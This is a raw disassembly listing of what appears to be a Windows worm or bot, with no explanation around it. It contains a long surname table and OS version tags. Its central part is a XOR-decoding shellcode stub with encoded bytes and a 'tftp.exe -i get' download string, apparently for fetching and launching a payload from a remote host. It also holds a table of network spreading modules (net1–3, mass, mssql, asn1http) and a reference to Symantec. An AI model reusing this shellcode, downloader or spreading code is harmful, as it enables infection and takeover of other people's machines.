aEdward db 'Edward',0 ; DATA XREF: .nsp0:00434740o
align 4
aEdner db 'Edner',0 ; DATA XREF: .nsp0:0043473Co
align 10h
aEdley db 'Edley',0 ; DATA XREF: .nsp0:00434738o
align 4
aEckel db 'Eckel',0 ; DATA XREF: .nsp0:00434734o
align 10h
aEbeling db 'Ebeling',0 ; DATA XREF: .nsp0:00434730o
aEardley db 'Eardley',0 ; DATA XREF: .nsp0:0043472Co
aDwyer db 'Dwyer',0 ; DATA XREF: .nsp0:00434728o
align 4
aDussault db 'Dussault',0 ; DATA XREF: .nsp0:00434724o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: .nsp0:00434720o
aDuffin db 'Duffin',0 ; DATA XREF: .nsp0:0043471Co
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .nsp0:00434718o
aDrinker db 'Drinker',0 ; DATA XREF: .nsp0:00434714o
aDowsland db 'Dowsland',0 ; DATA XREF: .nsp0:00434710o
align 10h
aDoug db 'Doug',0 ; DATA XREF: .nsp0:0043470Co
align 4
aDoty db 'Doty',0 ; DATA XREF: .nsp0:00434708o
align 10h
aDosi db 'Dosi',0 ; DATA XREF: .nsp0:00434704o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .nsp0:00434700o
align 10h
aDore db 'Dore',0 ; DATA XREF: .nsp0:004346FCo
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .nsp0:004346F8o
align 10h
aDonner db 'Donner',0 ; DATA XREF: .nsp0:004346F4o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: .nsp0:004346F0o
aDoherty db 'Doherty',0 ; DATA XREF: .nsp0:004346ECo
aDockery db 'Dockery',0 ; DATA XREF: .nsp0:004346E8o
aDirksen db 'Dirksen',0 ; DATA XREF: .nsp0:004346E4o
aDionysius db 'Dionysius',0 ; DATA XREF: .nsp0:004346E0o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: .nsp0:004346DCo
align 10h
aDifronzo db 'Difronzo',0 ; DATA XREF: .nsp0:004346D8o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .nsp0:004346D4o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .nsp0:004346D0o
align 10h
aDicks db 'Dicks',0 ; DATA XREF: .nsp0:004346CCo
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .nsp0:004346C8o
align 10h
aDeutsch db 'Deutsch',0 ; DATA XREF: .nsp0:004346C4o
aDesombre db 'Desombre',0 ; DATA XREF: .nsp0:004346C0o
align 4
aDenison db 'Denison',0 ; DATA XREF: .nsp0:004346BCo
aDenham db 'Denham',0 ; DATA XREF: .nsp0:004346B8o
align 4
aDenault db 'Denault',0 ; DATA XREF: .nsp0:004346B4o
aDemusz db 'Demusz',0 ; DATA XREF: .nsp0:004346B0o
align 4
aDempster db 'Dempster',0 ; DATA XREF: .nsp0:004346ACo
align 10h
aDeming db 'Deming',0 ; DATA XREF: .nsp0:004346A8o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:004346A4o
align 4
aDelger db 'Delger',0 ; DATA XREF: .nsp0:004346A0o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .nsp0:0043469Co
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .nsp0:00434698o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .nsp0:00434694o
align 4
aDees db 'Dees',0 ; DATA XREF: .nsp0:00434690o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .nsp0:0043468Co
aDerousse db 'deRousse',0 ; DATA XREF: .nsp0:00434688o
align 10h
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:00434684o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .nsp0:00434680o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .nsp0:0043467Co
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: .nsp0:00434678o
aDavid db 'David',0 ; DATA XREF: .nsp0:00434674o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: .nsp0:00434670o
aDasgupta db 'Dasgupta',0 ; DATA XREF: .nsp0:0043466Co
align 4
aDas db 'Das',0 ; DATA XREF: .nsp0:00434668o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:00434664o
aDapice db 'Dapice',0 ; DATA XREF: .nsp0:00434660o
align 10h
aDante db 'Dante',0 ; DATA XREF: .nsp0:0043465Co
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .nsp0:00434658o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .nsp0:00434654o
aDaly db 'Daly',0 ; DATA XREF: .nsp0:00434650o
align 10h
aDaldalian db 'Daldalian',0 ; DATA XREF: .nsp0:0043464Co
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .nsp0:00434648o
aCyders db 'Cyders',0 ; DATA XREF: .nsp0:00434644o
align 4
aCvek db 'Cvek',0 ; DATA XREF: .nsp0:00434640o
align 4
aCutler db 'Cutler',0 ; DATA XREF: .nsp0:0043463Co
align 4
aCurrier db 'Currier',0 ; DATA XREF: .nsp0:00434638o
aCui db 'Cui',0 ; DATA XREF: .nsp0:00434634o
aCroxton db 'Croxton',0 ; DATA XREF: .nsp0:00434630o
aCroxen db 'Croxen',0 ; DATA XREF: .nsp0:0043462Co
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .nsp0:00434628o
aCrocker db 'Crocker',0 ; DATA XREF: .nsp0:00434624o
aCrawford db 'Crawford',0 ; DATA XREF: .nsp0:00434620o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: .nsp0:0043461Co
aCounter db 'Counter',0 ; DATA XREF: .nsp0:00434618o
aCosmides db 'Cosmides',0 ; DATA XREF: .nsp0:00434614o
align 10h
aCornish db 'Cornish',0 ; DATA XREF: .nsp0:00434610o
aCorey db 'Corey',0 ; DATA XREF: .nsp0:0043460Co
align 10h
aConnors db 'Connors',0 ; DATA XREF: .nsp0:00434608o
aCondodina db 'Condodina',0 ; DATA XREF: .nsp0:00434604o
align 4
aConcino db 'Concino',0 ; DATA XREF: .nsp0:00434600o
aComstock db 'Comstock',0 ; DATA XREF: .nsp0:004345FCo
align 4
aCompton db 'Compton',0 ; DATA XREF: .nsp0:004345F4o
; .nsp0:004345F8o
aCollis db 'Collis',0 ; DATA XREF: .nsp0:004345F0o
align 4
aCollard db 'Collard',0 ; DATA XREF: .nsp0:004345ECo
aColella db 'Colella',0 ; DATA XREF: .nsp0:004345E8o
aColdren db 'Coldren',0 ; DATA XREF: .nsp0:004345E4o
aCoito db 'Coito',0 ; DATA XREF: .nsp0:004345E0o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .nsp0:004345DCo
aClow db 'Clow',0 ; DATA XREF: .nsp0:004345D8o
align 4
aClifton db 'Clifton',0 ; DATA XREF: .nsp0:004345D4o
aClement db 'Clement',0 ; DATA XREF: .nsp0:004345D0o
aClark db 'Clark',0 ; DATA XREF: .nsp0:004345CCo
align 10h
aClancy db 'Clancy',0 ; DATA XREF: .nsp0:004345C8o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .nsp0:004345C4o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .nsp0:004345C0o
align 4
aCicero db 'Cicero',0 ; DATA XREF: .nsp0:004345BCo
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .nsp0:004345B8o
align 10h
aChurch db 'Church',0 ; DATA XREF: .nsp0:004345B4o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .nsp0:004345B0o
align 4
aChu db 'Chu',0 ; DATA XREF: .nsp0:004345ACo
aChristopher db 'Christopher',0 ; DATA XREF: .nsp0:004345A8o
aChristie db 'Christie',0 ; DATA XREF: .nsp0:004345A4o
align 10h
aChristiano db 'Christiano',0 ; DATA XREF: .nsp0:004345A0o
align 4
aChristian db 'Christian',0 ; DATA XREF: .nsp0:0043459Co
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .nsp0:00434598o
aChinman db 'Chinman',0 ; DATA XREF: .nsp0:00434594o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .nsp0:00434590o
aChilds db 'Childs',0 ; DATA XREF: .nsp0:0043458Co
align 10h
aChildress db 'Childress',0 ; DATA XREF: .nsp0:00434588o
align 4
aChien db 'Chien',0 ; DATA XREF: .nsp0:00434584o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: .nsp0:00434580o
align 10h
aChervinsky db 'Chervinsky',0 ; DATA XREF: .nsp0:0043457Co
align 4
aCherry db 'Cherry',0 ; DATA XREF: .nsp0:00434578o
align 4
aCheang db 'Cheang',0 ; DATA XREF: .nsp0:00434574o
align 4
aCharles_0 db 'Charles',0 ; DATA XREF: .nsp0:00434570o
aChapman db 'Chapman',0 ; DATA XREF: .nsp0:0043456Co
aCerioli db 'Cerioli',0 ; DATA XREF: .nsp0:00434568o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .nsp0:00434564o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: .nsp0:00434560o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .nsp0:0043455Co
align 4
aCastelda db 'Castelda',0 ; DATA XREF: .nsp0:00434558o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: .nsp0:00434554o
align 4
aCase db 'Case',0 ; DATA XREF: .nsp0:00434550o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: .nsp0:0043454Co
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .nsp0:00434548o
align 4
aCarper db 'Carper',0 ; DATA XREF: .nsp0:00434544o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .nsp0:00434540o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: .nsp0:0043453Co
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: .nsp0:00434538o
aCarlos db 'Carlos',0 ; DATA XREF: .nsp0:00434534o
align 10h
aCarlin db 'Carlin',0 ; DATA XREF: .nsp0:00434530o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .nsp0:0043452Co
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .nsp0:00434528o
aCapursi db 'Capursi',0 ; DATA XREF: .nsp0:00434524o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .nsp0:00434520o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .nsp0:0043451Co
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .nsp0:00434518o
align 10h
aCaperton db 'Caperton',0 ; DATA XREF: .nsp0:00434514o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .nsp0:00434510o
aCanley db 'Canley',0 ; DATA XREF: .nsp0:0043450Co
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .nsp0:00434508o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .nsp0:00434504o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: .nsp0:00434500o
align 4
aCage db 'Cage',0 ; DATA XREF: .nsp0:004344FCo
align 4
aByrd db 'Byrd',0 ; DATA XREF: .nsp0:004344F8o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .nsp0:004344F4o
align 4
aByatt db 'Byatt',0 ; DATA XREF: .nsp0:004344F0o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .nsp0:004344ECo
aBurridge db 'Burridge',0 ; DATA XREF: .nsp0:004344E8o
align 10h
aBurke db 'Burke',0 ; DATA XREF: .nsp0:004344E4o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .nsp0:004344E0o
align 10h
aBurden db 'Burden',0 ; DATA XREF: .nsp0:004344DCo
align 4
aBunton db 'Bunton',0 ; DATA XREF: .nsp0:004344D8o
align 10h
aBullard db 'Bullard',0 ; DATA XREF: .nsp0:004344D4o
aBudding db 'Budding',0 ; DATA XREF: .nsp0:004344D0o
aBuchan db 'Buchan',0 ; DATA XREF: .nsp0:004344CCo
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .nsp0:004344C8o
aBrook db 'Brook',0 ; DATA XREF: .nsp0:004344C4o
align 4
aBroca db 'Broca',0 ; DATA XREF: .nsp0:004344C0o
align 10h
aBritz db 'Britz',0 ; DATA XREF: .nsp0:004344BCo
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .nsp0:004344B8o
aBridges db 'Bridges',0 ; DATA XREF: .nsp0:004344B4o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .nsp0:004344B0o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: .nsp0:004344A8o
; .nsp0:004344ACo
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .nsp0:004344A4o
aBrenan db 'Brenan',0 ; DATA XREF: .nsp0:004344A0o
align 4
aBreed db 'Breed',0 ; DATA XREF: .nsp0:0043449Co
align 4
aBrecht db 'Brecht',0 ; DATA XREF: .nsp0:00434498o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .nsp0:00434494o
aBradac db 'Bradac',0 ; DATA XREF: .nsp0:00434490o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .nsp0:0043448Co
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .nsp0:00434488o
align 10h
aBoym db 'Boym',0 ; DATA XREF: .nsp0:00434484o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .nsp0:00434480o
aBoyes db 'Boyes',0 ; DATA XREF: .nsp0:0043447Co
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .nsp0:00434478o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: .nsp0:00434474o
align 4
aBowers db 'Bowers',0 ; DATA XREF: .nsp0:00434470o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: .nsp0:0043446Co
align 10h
aBoudrot db 'Boudrot',0 ; DATA XREF: .nsp0:00434468o
aBoudin db 'Boudin',0 ; DATA XREF: .nsp0:00434464o
align 10h
aBotosh db 'Botosh',0 ; DATA XREF: .nsp0:00434460o
align 4
aBothman db 'Bothman',0 ; DATA XREF: .nsp0:0043445Co
aBossi db 'Bossi',0 ; DATA XREF: .nsp0:00434458o
align 4
aBorden db 'Borden',0 ; DATA XREF: .nsp0:00434454o
align 10h
aBorack db 'Borack',0 ; DATA XREF: .nsp0:00434450o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .nsp0:0043444Co
align 4
aBoone db 'Boone',0 ; DATA XREF: .nsp0:00434448o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .nsp0:00434444o
align 4
aBook_0 db 'Book',0 ; DATA XREF: .nsp0:00434440o
align 10h
aBontempo db 'Bontempo',0 ; DATA XREF: .nsp0:0043443Co
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .nsp0:00434438o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .nsp0:00434434o
align 10h
aBoner_0 db 'Boner',0 ; DATA XREF: .nsp0:00434430o
align 4
aBologna db 'Bologna',0 ; DATA XREF: .nsp0:0043442Co
aBollinger db 'Bollinger',0 ; DATA XREF: .nsp0:00434428o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .nsp0:00434424o
align 4
aBolger db 'Bolger',0 ; DATA XREF: .nsp0:00434420o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .nsp0:0043441Co
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: .nsp0:00434418o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .nsp0:00434414o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .nsp0:00434410o
aBloch db 'Bloch',0 ; DATA XREF: .nsp0:0043440Co
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .nsp0:00434408o
aBliss db 'Bliss',0 ; DATA XREF: .nsp0:00434404o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .nsp0:00434400o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: .nsp0:004343FCo
align 10h
aBlagg db 'Blagg',0 ; DATA XREF: .nsp0:004343F8o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .nsp0:004343F4o
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .nsp0:004343F0o
align 10h
aBisho db 'Bisho',0 ; DATA XREF: .nsp0:004343ECo
align 4
aBisema db 'Bisema',0 ; DATA XREF: .nsp0:004343E8o
align 10h
aBir db 'Bir',0 ; DATA XREF: .nsp0:004343E4o
aBinion db 'Binion',0 ; DATA XREF: .nsp0:004343E0o
align 4
aBickel db 'Bickel',0 ; DATA XREF: .nsp0:004343DCo
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: .nsp0:004343D8o
align 10h
aBeynart db 'Beynart',0 ; DATA XREF: .nsp0:004343D4o
aBetti db 'Betti',0 ; DATA XREF: .nsp0:004343D0o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .nsp0:004343CCo
align 10h
aBernston db 'Bernston',0 ; DATA XREF: .nsp0:004343C8o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .nsp0:004343C4o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .nsp0:004343C0o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .nsp0:004343BCo
align 4
aBergson db 'Bergson',0 ; DATA XREF: .nsp0:004343B8o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .nsp0:004343B4o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .nsp0:004343B0o
align 4
aBellini db 'Bellini',0 ; DATA XREF: .nsp0:004343ACo
aBellhouse db 'Bellhouse',0 ; DATA XREF: .nsp0:004343A8o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .nsp0:004343A4o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .nsp0:004343A0o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: .nsp0:0043439Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .nsp0:00434398o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .nsp0:00434394o
align 4
aBehenna db 'Behenna',0 ; DATA XREF: .nsp0:00434390o
aBedford db 'Bedford',0 ; DATA XREF: .nsp0:0043438Co
aBeder db 'Beder',0 ; DATA XREF: .nsp0:00434388o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .nsp0:00434384o
aBean db 'Bean',0 ; DATA XREF: .nsp0:00434380o
align 4
aBeal db 'Beal',0 ; DATA XREF: .nsp0:0043437Co
align 4
aBeacon db 'Beacon',0 ; DATA XREF: .nsp0:00434378o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .nsp0:00434374o
align 4
aBayles db 'Bayles',0 ; DATA XREF: .nsp0:00434370o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .nsp0:0043436Co
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .nsp0:00434368o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .nsp0:00434364o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: .nsp0:00434360o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .nsp0:0043435Co
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: .nsp0:00434358o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: .nsp0:00434354o
aBarry db 'Barry',0 ; DATA XREF: .nsp0:00434350o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: .nsp0:0043434Co
align 10h
aBarnett db 'Barnett',0 ; DATA XREF: .nsp0:00434348o
aBarneson db 'Barneson',0 ; DATA XREF: .nsp0:00434344o
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: .nsp0:00434340o
align 10h
aBarberi db 'Barberi',0 ; DATA XREF: .nsp0:0043433Co
aBaranowska db 'Baranowska',0 ; DATA XREF: .nsp0:00434338o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: .nsp0:00434334o
align 10h
aBarajas db 'Barajas',0 ; DATA XREF: .nsp0:00434330o
aBarabesi db 'Barabesi',0 ; DATA XREF: .nsp0:0043432Co
align 4
aBanta db 'Banta',0 ; DATA XREF: .nsp0:00434328o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .nsp0:00434324o
align 4
aBallew db 'Ballew',0 ; DATA XREF: .nsp0:00434320o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .nsp0:0043431Co
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .nsp0:00434318o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .nsp0:00434314o
align 4
aBailar db 'Bailar',0 ; DATA XREF: .nsp0:00434310o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: .nsp0:0043430Co
aBaglivo db 'Baglivo',0 ; DATA XREF: .nsp0:00434308o
aBady db 'Bady',0 ; DATA XREF: .nsp0:00434304o
align 4
aBackus db 'Backus',0 ; DATA XREF: .nsp0:00434300o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .nsp0:004342FCo
align 10h
aAzima db 'Azima',0 ; DATA XREF: .nsp0:004342F8o
align 4
aAyling db 'Ayling',0 ; DATA XREF: .nsp0:004342F4o
align 10h
aAykroyd db 'Aykroyd',0 ; DATA XREF: .nsp0:004342F0o
aAyiemba db 'Ayiemba',0 ; DATA XREF: .nsp0:004342ECo
aAxworthy db 'Axworthy',0 ; DATA XREF: .nsp0:004342E8o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .nsp0:004342E4o
aAurelius db 'Aurelius',0 ; DATA XREF: .nsp0:004342E0o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: .nsp0:004342DCo
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .nsp0:004342D8o
align 4
aArky db 'Arky',0 ; DATA XREF: .nsp0:004342D4o
align 4
aArjas db 'Arjas',0 ; DATA XREF: .nsp0:004342D0o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .nsp0:004342CCo
align 10h
aArellano db 'Arellano',0 ; DATA XREF: .nsp0:004342C8o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .nsp0:004342C4o
aArbia db 'Arbia',0 ; DATA XREF: .nsp0:004342C0o
align 4
aAntos db 'Antos',0 ; DATA XREF: .nsp0:004342BCo
align 4
aAnthony db 'Anthony',0 ; DATA XREF: .nsp0:004342B8o
aAnsley db 'Ansley',0 ; DATA XREF: .nsp0:004342B4o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .nsp0:004342B0o
align 10h
aAndron db 'Andron',0 ; DATA XREF: .nsp0:004342ACo
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .nsp0:004342A8o
align 4
aAndo db 'Ando',0 ; DATA XREF: .nsp0:004342A4o
align 4
aAndel db 'Andel',0 ; DATA XREF: .nsp0:004342A0o
align 4
aAnand db 'Anand',0 ; DATA XREF: .nsp0:0043429Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .nsp0:00434298o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: .nsp0:00434294o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .nsp0:00434290o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .nsp0:0043428Co
align 10h
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .nsp0:00434288o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .nsp0:00434284o
aAltavilla db 'Altavilla',0 ; DATA XREF: .nsp0:00434280o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: .nsp0:0043427Co
align 4
aAllison_0 db 'Allison',0 ; DATA XREF: .nsp0:00434278o
aAleks db 'Aleks',0 ; DATA XREF: .nsp0:00434274o
align 4
aAlda db 'Alda',0 ; DATA XREF: .nsp0:00434270o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: .nsp0:0043426Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .nsp0:00434268o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: .nsp0:00434264o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .nsp0:00434260o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: .nsp0:0043425Co
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .nsp0:00434258o
align 4
aAddison db 'Addison',0 ; DATA XREF: .nsp0:off_434254o
aAdams db 'Adams',0 ; DATA XREF: .nsp0:00434250o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .nsp0:0043424Co
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .nsp0:off_434248o
align 10h
aPc_0 db 'PC',0 ; DATA XREF: .nsp0:0040AD49o
align 4
aS_3 db '%s|',0 ; DATA XREF: .nsp0:0040ADF4o
aS_4 db '[%s]|',0 ; DATA XREF: .nsp0:0040AEFEo
align 10h
a??? db '???',0 ; DATA XREF: .nsp0:loc_40AEF5o
; sub_41B2E4:loc_41B3A7o
a2k3 db '2K3',0 ; DATA XREF: .nsp0:0040AEEEo
a2k db '2K',0 ; DATA XREF: .nsp0:0040AED0o
; sub_41B2E4+98o
align 4
aMe_0 db 'ME',0 ; DATA XREF: .nsp0:0040AEB7o
; sub_41B2E4+7Eo
align 10h
a98 db '98',0 ; DATA XREF: .nsp0:0040AEA7o
; sub_41B2E4+6Co
align 4
aNt_0 db 'NT',0 ; DATA XREF: .nsp0:0040AE97o
; sub_41B2E4+5Ao
align 4
a95 db '95',0 ; DATA XREF: .nsp0:0040AE89o
; sub_41B2E4+46o
align 4
aD_2 db '[%d]',0 ; DATA XREF: sub_40AF44+1Bo
align 4
jmp short loc_437ED8
; ---------------------------------------------------------------------------
loc_437ED6: ; CODE XREF: .nsp0:loc_437ED8p
jmp short loc_437EDD
; ---------------------------------------------------------------------------
loc_437ED8: ; CODE XREF: .nsp0:00437ED4j
call loc_437ED6
loc_437EDD: ; CODE XREF: .nsp0:loc_437ED6j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_437EE4: ; CODE XREF: .nsp0:00437EE9j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_437EE4
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_437EFA: ; CODE XREF: .nsp0:00437EFFj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_437EFA
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_437F9C
jnz short loc_437F88
retn
; ---------------------------------------------------------------------------
loc_437F88: ; CODE XREF: .nsp0:00437F85j
; .nsp0:00437F95j
call loc_437F8E
; ---------------------------------------------------------------------------
align 2
loc_437F8E: ; CODE XREF: .nsp0:loc_437F88j
push 0
call sub_437F9C
jz loc_437F88
retn
; =============== S U B R O U T I N E =======================================
sub_437F9C proc near ; CODE XREF: .nsp0:00437F80p
; .nsp0:00437F90p
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_437F9C endp
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B29C+51o
align 4
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B29C+35o
align 10h
aSym db 'sym',0 ; DATA XREF: sub_40C034+164o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B6EF+30o
; .nsp0:0040DA49o
align 4
dd 5 dup(0)
dword_438048 dd 0B97h ; .nsp0:00403897o ...
off_43804C dd offset sub_40EB90 ; DATA XREF: sub_40C034+1E6r
dword_438050 dd 0 ; .nsp0:0040D3ABw ...
dword_438054 dd 1 dword_438058 dd 1 dword_43805C dd 0 aNet1 db 'net1',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40E13Eh, 0
dd 2 dup(1), 0
dd 2D74656Eh, 31h, 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40E13Eh, 0
dd 2 dup(1), 0
aNet2 db 'net2',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40E62Bh, 0
dd 2 dup(1), 0
dd 2D74656Eh, 32h, 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40E62Bh, 0
dd 2 dup(1), 0
aNet3 db 'net3',0
align 4
dd 654E0000h, 69706174h, 393331h, 5 dup(0)
dd 8Bh, 40EA50h, 0
dd 2 dup(1), 0
dd 2D74656Eh, 33h, 654E0000h, 69706174h, 353434h, 5 dup(0)
dd 1BDh, 40EA50h, 0
dd 2 dup(1), 0
aMass_0 db 'mass',0
align 4
dd 616C0000h, 3331646Eh, 39h, 5 dup(0)
dd 8Bh, 40D7AFh, 0
dd 2 dup(1), 0
aMssql db 'mssql',0
align 4
dd 736D0000h, 6C7173h, 6 dup(0)
dd 599h, 40D825h, 0
dd 2 dup(1), 0
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 4
dd 4 dup(0)
dd 50h, 40D1E5h, 0
